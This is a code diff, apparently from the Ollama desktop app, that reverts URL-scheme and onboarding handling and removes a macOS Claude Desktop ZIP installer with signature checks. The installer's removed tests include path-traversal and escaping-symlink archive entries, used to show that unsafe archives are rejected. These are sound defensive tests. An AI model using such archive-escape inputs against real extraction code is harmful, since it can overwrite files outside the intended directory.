|
||||
openUI("/")
|
||||
})
|
||||
if err != nil {
|
||||
slog.Error("failed to parse URL scheme request", "url", urlSchemeRequest, "error", err)
|
||||
}
|
||||
}
|
||||
|
||||
func dispatchURLSchemeRequest(urlSchemeRequest string, connect, open func()) error {
|
||||
isConnect, err := parseURLScheme(urlSchemeRequest)
|
||||
if err != nil {
|
||||
return err
|
||||
slog.Error("failed to parse URL scheme request", "url", urlSchemeRequest, "error", err)
|
||||
return
|
||||
}
|
||||
|
||||
if isConnect {
|
||||
connect()
|
||||
handleConnectURLScheme()
|
||||
} else {
|
||||
open()
|
||||
if wv.webview != nil {
|
||||
showWindow(wv.webview.Window())
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -16,9 +16,8 @@ enum AppMove
|
||||
MoveError,
|
||||
};
|
||||
|
||||
void run(bool showOnboarding, bool startHidden);
|
||||
void run(bool firstTimeRun, bool startHidden);
|
||||
void killOtherInstances();
|
||||
bool otherOllamaInstanceRunning(void);
|
||||
enum AppMove askToMoveToApplications();
|
||||
int createSymlinkWithAuthorization();
|
||||
int installSymlink(const char *cliPath);
|
||||
@@ -26,7 +25,6 @@ extern void Restart();
|
||||
// extern void Quit();
|
||||
void StartUI(const char *path);
|
||||
void ShowUI();
|
||||
bool IsOnboardingActive(void);
|
||||
void StopUI();
|
||||
void StartUpdate();
|
||||
void darwinStartHiddenTasks();
|
||||
@@ -40,30 +38,6 @@ void setWindowDelegate(void *window);
|
||||
void showWindow(uintptr_t wndPtr);
|
||||
void hideWindow(uintptr_t wndPtr);
|
||||
void styleWindow(uintptr_t wndPtr);
|
||||
void setWindowResizable(uintptr_t wndPtr, bool resizable);
|
||||
void drag(uintptr_t wndPtr);
|
||||
void doubleClick(uintptr_t wndPtr);
|
||||
void handleConnectURL();
|
||||
bool SetClaudeGatewayInstalled(bool installed, bool restartClaude);
|
||||
bool HasUsedClaudeDesktopIntegration(void);
|
||||
bool RestoreClaudeGatewayForShutdown(void);
|
||||
bool IsClaudeGatewayConfigured(void);
|
||||
bool IsClaudeDesktopInstalled(void);
|
||||
bool IsClaudeDesktopRunning(void);
|
||||
bool ClaudeGatewayStartFailed(void);
|
||||
bool ClaudeGatewayPortConflict(void);
|
||||
char *ClaudeGatewayErrorMessage(void);
|
||||
int ClaudeGatewayPort(void);
|
||||
void RefreshClaudeProxyMenu(void);
|
||||
void updateClaudeProxyMenu(unsigned long long routed);
|
||||
bool ShowAppsInMenu(void);
|
||||
void SetShowAppsInMenu(bool visible);
|
||||
enum ClaudeInstallResult
|
||||
{
|
||||
ClaudeInstallCancelled,
|
||||
ClaudeInstallerOpened,
|
||||
ClaudeInstallFailed,
|
||||
};
|
||||
enum ClaudeInstallResult installClaudeDesktop(void);
|
||||
char *ClaudeDesktopDownloadRequest(char **authorization);
|
||||
bool InstallClaudeDesktopArchive(const char *archivePath);
|
||||
@@ -1,140 +0,0 @@
|
||||
//go:build windows || darwin
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"testing"
|
||||
|
||||
"github.com/ollama/ollama/app/store"
|
||||
)
|
||||
|
||||
func TestShouldShowOnboarding(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
settings store.Settings
|
||||
err error
|
||||
want bool
|
||||
}{
|
||||
{
|
||||
name: "fresh install",
|
||||
settings: store.Settings{OnboardingVersion: 0},
|
||||
want: true,
|
||||
},
|
||||
{
|
||||
name: "completed onboarding",
|
||||
settings: store.Settings{OnboardingVersion: store.CurrentOnboardingVersion},
|
||||
want: false,
|
||||
},
|
||||
{
|
||||
name: "settings failure",
|
||||
err: errors.New("settings unavailable"),
|
||||
want: true,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
if got := shouldShowOnboarding(tt.settings, tt.err); got != tt.want {
|
||||
t.Fatalf("shouldShowOnboarding() = %v, want %v", got, tt.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDispatchURLSchemeRequest(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
request string
|
||||
wantConnect bool
|
||||
wantOpen bool
|
||||
wantErr bool
|
||||
}{
|
||||
{name: "bare URL opens app", request: "ollama://", wantOpen: true},
|
||||
{name: "connect URL starts connection", request: "ollama://connect", wantConnect: true},
|
||||
{name: "unsupported URL", request: "ollama://unsupported", wantErr: true},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
connected := false
|
||||
opened := false
|
||||
err := dispatchURLSchemeRequest(
|
||||
tt.request,
|
||||
func() { connected = true },
|
||||
func() { opened = true },
|
||||
)
|
||||
if (err != nil) != tt.wantErr {
|
||||
t.Fatalf("dispatchURLSchemeRequest() error = %v, wantErr %v", err, tt.wantErr)
|
||||
}
|
||||
if connected != tt.wantConnect {
|
||||
t.Errorf("connect called = %v, want %v", connected, tt.wantConnect)
|
||||
}
|
||||
if opened != tt.wantOpen {
|
||||
t.Errorf("open called = %v, want %v", opened, tt.wantOpen)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunInitialWindowsUIWithBareURL(t *testing.T) {
|
||||
hiddenCalls := 0
|
||||
urlCalls := 0
|
||||
onboardingCalls := 0
|
||||
openCalls := 0
|
||||
|
||||
runInitialWindowsUI(
|
||||
false,
|
||||
true,
|
||||
"ollama://",
|
||||
func() { hiddenCalls++ },
|
||||
func(request string) {
|
||||
urlCalls++
|
||||
if err := dispatchURLSchemeRequest(request, func() {}, func() { openCalls++ }); err != nil {
|
||||
t.Fatalf("dispatchURLSchemeRequest() error = %v", err)
|
||||
}
|
||||
},
|
||||
func(path string) {
|
||||
onboardingCalls++
|
||||
},
|
||||
)
|
||||
|
||||
if urlCalls != 1 {
|
||||
t.Fatalf("URL handled %d times, want 1", urlCalls)
|
||||
}
|
||||
if openCalls != 1 {
|
||||
t.Errorf("app opened %d times, want 1", openCalls)
|
||||
}
|
||||
if hiddenCalls != 0 {
|
||||
t.Errorf("hidden startup called %d times, want 0", hiddenCalls)
|
||||
}
|
||||
if onboardingCalls != 0 {
|
||||
t.Errorf("onboarding opened %d times, want 0", onboardingCalls)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunInitialWindowsUIRoutesInteractiveLaunch(t *testing.T) {
|
||||
for _, tt := range []struct {
|
||||
name string
|
||||
showOnboarding bool
|
||||
wantPath string
|
||||
}{
|
||||
{name: "fresh install preserves onboarding", showOnboarding: true, wantPath: "/"},
|
||||
{name: "returning launch opens apps", wantPath: "/connect"},
|
||||
} {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
var gotPath string
|
||||
runInitialWindowsUI(
|
||||
false,
|
||||
tt.showOnboarding,
|
||||
"",
|
||||
func() { t.Fatal("unexpected hidden startup") },
|
||||
func(string) { t.Fatal("unexpected URL handling") },
|
||||
func(path string) { gotPath = path },
|
||||
)
|
||||
if gotPath != tt.wantPath {
|
||||
t.Fatalf("initial UI path = %q, want %q", gotPath, tt.wantPath)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -95,15 +95,11 @@ func (ac *appCallbacks) UIRun(path string) {
|
||||
}
|
||||
|
||||
func (*appCallbacks) UIShow() {
|
||||
openUI("/")
|
||||
}
|
||||
|
||||
func openUI(path string) {
|
||||
if wv.IsRunning() && wv.webview != nil {
|
||||
if wv.webview != nil {
|
||||
showWindow(wv.webview.Window())
|
||||
return
|
||||
} else {
|
||||
wv.Run("/")
|
||||
}
|
||||
wv.Run(path)
|
||||
}
|
||||
|
||||
func (*appCallbacks) UITerminate() {
|
||||
@@ -114,10 +110,6 @@ func (*appCallbacks) UIRunning() bool {
|
||||
return wv.IsRunning()
|
||||
}
|
||||
|
||||
func (*appCallbacks) UIOnboarding() bool {
|
||||
return wv.OnboardingActive()
|
||||
}
|
||||
|
||||
func (app *appCallbacks) Quit() {
|
||||
app.t.Quit()
|
||||
wv.Terminate()
|
||||
@@ -134,7 +126,7 @@ func (app *appCallbacks) DoUpdate() {
|
||||
|
||||
app.shutdown()
|
||||
|
||||
if err := updater.DoUpgrade(true); err != nil { //nolint:staticcheck,nolintlint // DoUpgrade may always return non-nil on Windows
|
||||
if err := updater.DoUpgrade(true); err != nil {
|
||||
slog.Warn(fmt.Sprintf("upgrade attempt failed: %s", err))
|
||||
}
|
||||
}
|
||||
@@ -146,7 +138,19 @@ func (app *appCallbacks) HandleURLScheme(urlScheme string) {
|
||||
|
||||
// handleURLSchemeRequest processes URL scheme requests from other instances
|
||||
func handleURLSchemeRequest(urlScheme string) {
|
||||
handleURLSchemeInCurrentInstance(urlScheme)
|
||||
isConnect, err := parseURLScheme(urlScheme)
|
||||
if err != nil {
|
||||
slog.Error("failed to parse URL scheme request", "url", urlScheme, "error", err)
|
||||
return
|
||||
}
|
||||
|
||||
if isConnect {
|
||||
handleConnectURLScheme()
|
||||
} else {
|
||||
if wv.webview != nil {
|
||||
showWindow(wv.webview.Window())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func UpdateAvailable(ver string) error {
|
||||
@@ -157,7 +161,7 @@ func UpdateAvailable(ver string) error {
|
||||
return app.t.UpdateAvailable(ver)
|
||||
}
|
||||
|
||||
func osRun(shutdown func(), hasCompletedFirstRun, startHidden, showOnboarding bool, urlSchemeRequest string) {
|
||||
func osRun(shutdown func(), hasCompletedFirstRun, startHidden bool) {
|
||||
var err error
|
||||
app.shutdown = shutdown
|
||||
app.t, err = wintray.NewTray(app)
|
||||
@@ -201,8 +205,10 @@ func osRun(shutdown func(), hasCompletedFirstRun, startHidden, showOnboarding bo
|
||||
}
|
||||
}
|
||||
}
|
||||
runInitialWindowsUI(startHidden, showOnboarding, urlSchemeRequest, startHiddenTasks, handleURLSchemeInCurrentInstance, func(path string) {
|
||||
ptr := wv.Run(path)
|
||||
if startHidden {
|
||||
startHiddenTasks()
|
||||
} else {
|
||||
ptr := wv.Run("/")
|
||||
|
||||
// Set the window icon using the tray icon
|
||||
if ptr != nil {
|
||||
@@ -219,7 +225,7 @@ func osRun(shutdown func(), hasCompletedFirstRun, startHidden, showOnboarding bo
|
||||
}
|
||||
|
||||
centerWindow(ptr)
|
||||
})
|
||||
}
|
||||
|
||||
if !hasCompletedFirstRun {
|
||||
// Only create the login shortcut on first start
|
||||
@@ -402,8 +408,6 @@ func hideWindow(ptr unsafe.Pointer) {
|
||||
}
|
||||
}
|
||||
|
||||
func setOnboardingWindowStyle(_ unsafe.Pointer, _ bool) {}
|
||||
|
||||
func runInBackground() {
|
||||
exe, err := os.Executable()
|
||||
if err != nil {
|
||||
@@ -428,13 +432,17 @@ func drag(ptr unsafe.Pointer) {}
|
||||
func doubleClick(ptr unsafe.Pointer) {}
|
||||
|
||||
// checkAndHandleExistingInstance checks if another instance is running and sends the URL to it
|
||||
func checkAndHandleExistingInstance(urlSchemeRequest string) {
|
||||
func checkAndHandleExistingInstance(urlSchemeRequest string) bool {
|
||||
if urlSchemeRequest == "" {
|
||||
return
|
||||
return false
|
||||
}
|
||||
|
||||
// Try to send URL to existing instance using wintray messaging
|
||||
if wintray.CheckAndSendToExistingInstance(urlSchemeRequest) {
|
||||
os.Exit(0)
|
||||
return true
|
||||
}
|
||||
|
||||
// No existing instance, we'll handle it ourselves
|
||||
return false
|
||||
}
|
||||
@@ -1,61 +0,0 @@
|
||||
//go:build darwin
|
||||
|
||||
package main
|
||||
|
||||
import "github.com/ollama/ollama/app/webview"
|
||||
|
||||
func bindClaudeDesktop(wv webview.WebView) {
|
||||
wv.Bind("getClaudeDesktopStatus", func() claudeDesktopStatus {
|
||||
return getClaudeDesktopConnectionStatus()
|
||||
})
|
||||
|
||||
wv.Bind("setClaudeDesktopConnected", func(enabled bool) claudeDesktopActionResult {
|
||||
err := setClaudeDesktopConnection(enabled)
|
||||
result := claudeDesktopActionResult{
|
||||
Status: getClaudeDesktopConnectionStatus(),
|
||||
}
|
||||
if err != nil {
|
||||
result.Error = err.Error()
|
||||
}
|
||||
return result
|
||||
})
|
||||
|
||||
wv.Bind("prepareClaudeDesktopConnection", func() claudeDesktopActionResult {
|
||||
err := prepareClaudeDesktopConnection()
|
||||
result := claudeDesktopActionResult{
|
||||
Status: getClaudeDesktopConnectionStatus(),
|
||||
}
|
||||
if err != nil {
|
||||
result.Error = err.Error()
|
||||
}
|
||||
return result
|
||||
})
|
||||
|
||||
wv.Bind("openClaudeDesktop", func() string {
|
||||
if err := openClaudeDesktopApplication(); err != nil {
|
||||
return err.Error()
|
||||
}
|
||||
return ""
|
||||
})
|
||||
|
||||
wv.Bind("installClaudeDesktop", func() claudeDesktopInstallResult {
|
||||
return requestClaudeDesktopInstall()
|
||||
})
|
||||
|
||||
wv.Bind("restartClaudeDesktop", func(models []string) claudeDesktopActionResult {
|
||||
err := restartClaudeDesktopWithModels(models)
|
||||
result := claudeDesktopActionResult{Status: getClaudeDesktopConnectionStatus()}
|
||||
if err != nil {
|
||||
result.Error = err.Error()
|
||||
}
|
||||
return result
|
||||
})
|
||||
|
||||
wv.Bind("getShowAppsInMenu", func() bool {
|
||||
return getShowAppsInMenu()
|
||||
})
|
||||
|
||||
wv.Bind("setShowAppsInMenu", func(visible bool) {
|
||||
setShowAppsInMenu(visible)
|
||||
})
|
||||
}
|
||||
@@ -1,7 +0,0 @@
|
||||
//go:build windows
|
||||
|
||||
package main
|
||||
|
||||
import "github.com/ollama/ollama/app/webview"
|
||||
|
||||
func bindClaudeDesktop(_ webview.WebView) {}
|
||||
@@ -1,252 +0,0 @@
|
||||
//go:build darwin
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"archive/zip"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const (
|
||||
maxClaudeDesktopArchiveBytes = 1 << 30
|
||||
maxClaudeDesktopExtractBytes = 2 << 30
|
||||
maxClaudeDesktopArchiveFiles = 100_000
|
||||
claudeDesktopBundleID = "com.anthropic.claudefordesktop"
|
||||
claudeDesktopTeamID = "Q6L2SF6YDW"
|
||||
)
|
||||
|
||||
var errClaudeDesktopDestinationExists = errors.New("Claude Desktop installation destination already exists")
|
||||
|
||||
func claudeDesktopInstallDestinations() []string {
|
||||
destinations := []string{"/Applications/Claude.app"}
|
||||
if home, err := os.UserHomeDir(); err == nil {
|
||||
destinations = append(destinations, filepath.Join(home, "Applications", "Claude.app"))
|
||||
}
|
||||
return destinations
|
||||
}
|
||||
|
||||
func installClaudeDesktopZip(archivePath string, destinations []string, verify func(string) error) (string, error) {
|
||||
if len(destinations) == 0 {
|
||||
return "", errors.New("Claude Desktop installation destination is required")
|
||||
}
|
||||
if verify == nil {
|
||||
return "", errors.New("Claude Desktop bundle verifier is required")
|
||||
}
|
||||
info, err := os.Stat(archivePath)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("stat Claude Desktop archive: %w", err)
|
||||
}
|
||||
if !info.Mode().IsRegular() {
|
||||
return "", errors.New("Claude Desktop archive is not a regular file")
|
||||
}
|
||||
if info.Size() > maxClaudeDesktopArchiveBytes {
|
||||
return "", fmt.Errorf("Claude Desktop archive exceeds %d bytes", maxClaudeDesktopArchiveBytes)
|
||||
}
|
||||
|
||||
workDir, err := os.MkdirTemp("", "ollama-claude-install-")
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("create Claude Desktop installation directory: %w", err)
|
||||
}
|
||||
defer os.RemoveAll(workDir)
|
||||
|
||||
if err := extractClaudeDesktopZip(archivePath, workDir); err != nil {
|
||||
return "", err
|
||||
}
|
||||
bundlePath := filepath.Join(workDir, "Claude.app")
|
||||
if err := validateClaudeDesktopBundle(bundlePath); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := verify(bundlePath); err != nil {
|
||||
return "", fmt.Errorf("verify Claude Desktop signature: %w", err)
|
||||
}
|
||||
|
||||
var permissionErr error
|
||||
for _, destination := range destinations {
|
||||
if strings.TrimSpace(destination) == "" {
|
||||
continue
|
||||
}
|
||||
if _, err := os.Stat(destination); err == nil {
|
||||
return "", fmt.Errorf("%w: %s", errClaudeDesktopDestinationExists, destination)
|
||||
} else if !errors.Is(err, os.ErrNotExist) {
|
||||
return "", fmt.Errorf("check Claude Desktop destination %s: %w", destination, err)
|
||||
}
|
||||
if err := os.MkdirAll(filepath.Dir(destination), 0o755); err != nil {
|
||||
if errors.Is(err, os.ErrPermission) {
|
||||
permissionErr = err
|
||||
continue
|
||||
}
|
||||
return "", fmt.Errorf("create Claude Desktop destination: %w", err)
|
||||
}
|
||||
if err := os.Rename(bundlePath, destination); err != nil {
|
||||
if errors.Is(err, os.ErrPermission) {
|
||||
permissionErr = err
|
||||
continue
|
||||
}
|
||||
return "", fmt.Errorf("move Claude Desktop to %s: %w", destination, err)
|
||||
}
|
||||
return destination, nil
|
||||
}
|
||||
if permissionErr != nil {
|
||||
return "", fmt.Errorf("install Claude Desktop in Applications: %w", permissionErr)
|
||||
}
|
||||
return "", errors.New("Claude Desktop installation destination is required")
|
||||
}
|
||||
|
||||
func extractClaudeDesktopZip(archivePath, destination string) error {
|
||||
reader, err := zip.OpenReader(archivePath)
|
||||
if err != nil {
|
||||
return fmt.Errorf("open Claude Desktop archive: %w", err)
|
||||
}
|
||||
defer reader.Close()
|
||||
if len(reader.File) == 0 {
|
||||
return errors.New("Claude Desktop archive is empty")
|
||||
}
|
||||
if len(reader.File) > maxClaudeDesktopArchiveFiles {
|
||||
return fmt.Errorf("Claude Desktop archive contains more than %d files", maxClaudeDesktopArchiveFiles)
|
||||
}
|
||||
|
||||
var expanded uint64
|
||||
for _, file := range reader.File {
|
||||
clean, err := safeClaudeDesktopArchivePath(file.Name)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
expanded += file.UncompressedSize64
|
||||
if expanded > maxClaudeDesktopExtractBytes {
|
||||
return fmt.Errorf("Claude Desktop archive expands beyond %d bytes", maxClaudeDesktopExtractBytes)
|
||||
}
|
||||
path := filepath.Join(destination, filepath.FromSlash(clean))
|
||||
switch {
|
||||
case file.FileInfo().IsDir():
|
||||
if err := os.MkdirAll(path, file.Mode().Perm()); err != nil {
|
||||
return fmt.Errorf("create Claude Desktop archive directory: %w", err)
|
||||
}
|
||||
case file.Mode()&os.ModeSymlink != 0:
|
||||
target, err := readClaudeDesktopZipFile(file, 16<<10)
|
||||
if err != nil {
|
||||
return fmt.Errorf("read Claude Desktop archive symlink: %w", err)
|
||||
}
|
||||
if err := validateClaudeDesktopSymlink(clean, string(target)); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
|
||||
return fmt.Errorf("create Claude Desktop archive directory: %w", err)
|
||||
}
|
||||
if err := os.Symlink(string(target), path); err != nil {
|
||||
return fmt.Errorf("create Claude Desktop archive symlink: %w", err)
|
||||
}
|
||||
case file.Mode().IsRegular():
|
||||
if err := extractClaudeDesktopZipFile(file, path); err != nil {
|
||||
return err
|
||||
}
|
||||
default:
|
||||
return fmt.Errorf("Claude Desktop archive contains unsupported file %q", file.Name)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func safeClaudeDesktopArchivePath(name string) (string, error) {
|
||||
if strings.ContainsRune(name, '\x00') || filepath.IsAbs(name) {
|
||||
return "", fmt.Errorf("Claude Desktop archive contains unsafe path %q", name)
|
||||
}
|
||||
clean := filepath.ToSlash(filepath.Clean(name))
|
||||
if clean != "Claude.app" && !strings.HasPrefix(clean, "Claude.app/") {
|
||||
return "", fmt.Errorf("Claude Desktop archive contains unexpected path %q", name)
|
||||
}
|
||||
return clean, nil
|
||||
}
|
||||
|
||||
func validateClaudeDesktopSymlink(name, target string) error {
|
||||
if target == "" || filepath.IsAbs(target) {
|
||||
return fmt.Errorf("Claude Desktop archive contains unsafe symlink %q", name)
|
||||
}
|
||||
resolved := filepath.Clean(filepath.Join(filepath.Dir(name), target))
|
||||
resolved = filepath.ToSlash(resolved)
|
||||
if resolved != "Claude.app" && !strings.HasPrefix(resolved, "Claude.app/") {
|
||||
return fmt.Errorf("Claude Desktop archive symlink %q escapes Claude.app", name)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func extractClaudeDesktopZipFile(file *zip.File, path string) error {
|
||||
if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
|
||||
return fmt.Errorf("create Claude Desktop archive directory: %w", err)
|
||||
}
|
||||
input, err := file.Open()
|
||||
if err != nil {
|
||||
return fmt.Errorf("open Claude Desktop archive file: %w", err)
|
||||
}
|
||||
output, err := os.OpenFile(path, os.O_CREATE|os.O_EXCL|os.O_WRONLY, file.Mode().Perm())
|
||||
if err != nil {
|
||||
input.Close()
|
||||
return fmt.Errorf("create Claude Desktop archive file: %w", err)
|
||||
}
|
||||
_, copyErr := io.Copy(output, input)
|
||||
inputErr := input.Close()
|
||||
outputErr := output.Close()
|
||||
if copyErr != nil {
|
||||
return fmt.Errorf("extract Claude Desktop archive file: %w", copyErr)
|
||||
}
|
||||
if inputErr != nil {
|
||||
return fmt.Errorf("close Claude Desktop archive file: %w", inputErr)
|
||||
}
|
||||
if outputErr != nil {
|
||||
return fmt.Errorf("close extracted Claude Desktop file: %w", outputErr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func readClaudeDesktopZipFile(file *zip.File, limit int64) ([]byte, error) {
|
||||
reader, err := file.Open()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer reader.Close()
|
||||
data, err := io.ReadAll(io.LimitReader(reader, limit+1))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if int64(len(data)) > limit {
|
||||
return nil, fmt.Errorf("archive entry exceeds %d bytes", limit)
|
||||
}
|
||||
return data, nil
|
||||
}
|
||||
|
||||
func validateClaudeDesktopBundle(bundlePath string) error {
|
||||
info, err := os.Stat(bundlePath)
|
||||
if err != nil || !info.IsDir() {
|
||||
return errors.New("Claude Desktop archive does not contain Claude.app")
|
||||
}
|
||||
executable := filepath.Join(bundlePath, "Contents", "MacOS", "Claude")
|
||||
info, err = os.Stat(executable)
|
||||
if err != nil {
|
||||
return fmt.Errorf("Claude Desktop executable is missing: %w", err)
|
||||
}
|
||||
if !info.Mode().IsRegular() || info.Mode()&0o111 == 0 {
|
||||
return errors.New("Claude Desktop executable is not executable")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func verifyClaudeDesktopBundle(bundlePath string) error {
|
||||
if output, err := exec.Command("/usr/bin/codesign", "--verify", "--deep", "--strict", bundlePath).CombinedOutput(); err != nil {
|
||||
return fmt.Errorf("codesign verification failed: %w: %s", err, strings.TrimSpace(string(output)))
|
||||
}
|
||||
output, err := exec.Command("/usr/bin/codesign", "-d", "--verbose=4", bundlePath).CombinedOutput()
|
||||
if err != nil {
|
||||
return fmt.Errorf("read code signature: %w: %s", err, strings.TrimSpace(string(output)))
|
||||
}
|
||||
details := string(output)
|
||||
if !strings.Contains(details, "Identifier="+claudeDesktopBundleID) ||
|
||||
!strings.Contains(details, "TeamIdentifier="+claudeDesktopTeamID) {
|
||||
return fmt.Errorf("unexpected Claude Desktop signing identity")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -1,162 +0,0 @@
|
||||
//go:build darwin
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"archive/zip"
|
||||
"errors"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestInstallClaudeDesktopZip(t *testing.T) {
|
||||
archive := writeClaudeDesktopTestZip(t, map[string]claudeDesktopTestZipEntry{
|
||||
"Claude.app/": {directory: true},
|
||||
"Claude.app/Contents/": {directory: true},
|
||||
"Claude.app/Contents/MacOS/": {directory: true},
|
||||
"Claude.app/Contents/MacOS/Claude": {body: "binary", mode: 0o755},
|
||||
"Claude.app/Contents/Resources/": {directory: true},
|
||||
"Claude.app/Contents/Resources/link": {body: "../MacOS/Claude", mode: os.ModeSymlink | 0o777},
|
||||
})
|
||||
destination := filepath.Join(t.TempDir(), "Applications", "Claude.app")
|
||||
var verified string
|
||||
installed, err := installClaudeDesktopZip(archive, []string{destination}, func(bundle string) error {
|
||||
verified = bundle
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if installed != destination || verified == "" {
|
||||
t.Fatalf("installed = %q, verified = %q", installed, verified)
|
||||
}
|
||||
info, err := os.Stat(filepath.Join(installed, "Contents", "MacOS", "Claude"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if info.Mode()&0o111 == 0 {
|
||||
t.Fatal("installed Claude executable is not executable")
|
||||
}
|
||||
if target, err := os.Readlink(filepath.Join(installed, "Contents", "Resources", "link")); err != nil || target != "../MacOS/Claude" {
|
||||
t.Fatalf("symlink target = %q, err = %v", target, err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestInstallClaudeDesktopZipRejectsUnsafeArchives(t *testing.T) {
|
||||
for _, test := range []struct {
|
||||
name string
|
||||
entries map[string]claudeDesktopTestZipEntry
|
||||
}{
|
||||
{name: "path traversal", entries: map[string]claudeDesktopTestZipEntry{"../Claude.app/Contents/MacOS/Claude": {body: "binary", mode: 0o755}}},
|
||||
{name: "unexpected root", entries: map[string]claudeDesktopTestZipEntry{"README": {body: "nope", mode: 0o644}}},
|
||||
{name: "escaping symlink", entries: map[string]claudeDesktopTestZipEntry{
|
||||
"Claude.app/Contents/MacOS/Claude": {body: "binary", mode: 0o755},
|
||||
"Claude.app/escape": {body: "../../outside", mode: os.ModeSymlink | 0o777},
|
||||
}},
|
||||
} {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
archive := writeClaudeDesktopTestZip(t, test.entries)
|
||||
destination := filepath.Join(t.TempDir(), "Claude.app")
|
||||
if _, err := installClaudeDesktopZip(archive, []string{destination}, func(string) error { return nil }); err == nil {
|
||||
t.Fatal("installClaudeDesktopZip succeeded")
|
||||
}
|
||||
if _, err := os.Stat(destination); !errors.Is(err, os.ErrNotExist) {
|
||||
t.Fatalf("unsafe archive created destination: %v", err)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestInstallClaudeDesktopZipVerifiesBeforeMove(t *testing.T) {
|
||||
archive := writeClaudeDesktopTestZip(t, map[string]claudeDesktopTestZipEntry{
|
||||
"Claude.app/Contents/MacOS/Claude": {body: "binary", mode: 0o755},
|
||||
})
|
||||
destination := filepath.Join(t.TempDir(), "Claude.app")
|
||||
wantErr := errors.New("invalid signature")
|
||||
if _, err := installClaudeDesktopZip(archive, []string{destination}, func(string) error { return wantErr }); !errors.Is(err, wantErr) {
|
||||
t.Fatalf("error = %v, want %v", err, wantErr)
|
||||
}
|
||||
if _, err := os.Stat(destination); !errors.Is(err, os.ErrNotExist) {
|
||||
t.Fatalf("invalid bundle created destination: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestInstallClaudeDesktopZipDoesNotOverwrite(t *testing.T) {
|
||||
archive := writeClaudeDesktopTestZip(t, map[string]claudeDesktopTestZipEntry{
|
||||
"Claude.app/Contents/MacOS/Claude": {body: "binary", mode: 0o755},
|
||||
})
|
||||
destination := filepath.Join(t.TempDir(), "Claude.app")
|
||||
if err := os.MkdirAll(destination, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := installClaudeDesktopZip(archive, []string{destination}, func(string) error { return nil }); !errors.Is(err, errClaudeDesktopDestinationExists) {
|
||||
t.Fatalf("error = %v, want destination exists", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestInstallClaudeDesktopZipRealArchive(t *testing.T) {
|
||||
archive := os.Getenv("OLLAMA_TEST_CLAUDE_DESKTOP_ZIP")
|
||||
if archive == "" {
|
||||
t.Skip("set OLLAMA_TEST_CLAUDE_DESKTOP_ZIP to a downloaded Claude Desktop ZIP")
|
||||
}
|
||||
destination := filepath.Join(t.TempDir(), "Applications", "Claude.app")
|
||||
installed, err := installClaudeDesktopZip(
|
||||
archive,
|
||||
[]string{destination},
|
||||
verifyClaudeDesktopBundle,
|
||||
)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if installed != destination {
|
||||
t.Fatalf("installed = %q, want %q", installed, destination)
|
||||
}
|
||||
}
|
||||
|
||||
type claudeDesktopTestZipEntry struct {
|
||||
body string
|
||||
mode os.FileMode
|
||||
directory bool
|
||||
}
|
||||
|
||||
func writeClaudeDesktopTestZip(t *testing.T, entries map[string]claudeDesktopTestZipEntry) string {
|
||||
t.Helper()
|
||||
path := filepath.Join(t.TempDir(), "Claude.zip")
|
||||
file, err := os.Create(path)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
writer := zip.NewWriter(file)
|
||||
for name, entry := range entries {
|
||||
header := &zip.FileHeader{Name: name, Method: zip.Deflate}
|
||||
if entry.directory {
|
||||
header.SetMode(os.ModeDir | 0o755)
|
||||
} else {
|
||||
header.SetMode(entry.mode)
|
||||
}
|
||||
item, err := writer.CreateHeader(header)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := item.Write([]byte(entry.body)); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
if err := writer.Close(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := file.Close(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return path
|
||||
}
|
||||
|
||||
func TestSafeClaudeDesktopArchivePath(t *testing.T) {
|
